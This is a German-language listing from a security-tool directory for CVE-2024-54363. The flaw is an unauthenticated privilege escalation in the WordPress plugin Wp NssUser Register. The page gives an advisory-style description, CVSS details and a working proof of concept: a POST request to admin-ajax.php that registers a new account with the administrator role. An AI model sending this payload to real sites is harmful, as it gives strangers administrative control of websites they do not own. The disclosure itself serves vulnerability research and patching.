Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-54363 — Wp NssUser Register <= 1.0.0 - Nicht authentifizierte Privilegieneskalation | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2024-54363
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-Exploitation
GitHubrandomrobbiebf/cve-2024-54363

CVE-2024-54363

Wp NssUser Register <= 1.0.0 - Nicht authentifizierte Privilegieneskalation

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-54363

Wp NssUser Register <= 1.0.0 - Nicht authentifizierte Rechteausweitung

Beschreibung

Das Plugin Wp NssUser Register für WordPress ist in allen Versionen bis einschließlich 1.0.0 anfällig für Rechteausweitung. Dadurch ist es nicht authentifizierten Angreifern möglich, sich auf der Website als Administratoren zu registrieren.

Details

  • Typ: Plugin
  • Slug: wp-nssuser-register
  • Betroffene Version: 1.0.0
  • CVSS-Score: 9.8
  • CVSS-Einstufung: Kritisch
  • CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE: CVE-2024-54363
  • Status: Geschlossen

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Referer: http://example.com/

action=nssTheme_registration_form&rgName=admin2&[email protected]&rgFname=Attacker&rgLname=User&rgRole=administrator&rg_pass=evilpass
root@kitploit:~
<p>successful, just Check this: </p>            <a href="https://wp-dev.ddev.site/wp-login.php" title="Login">Login</a>
Tool herunterladen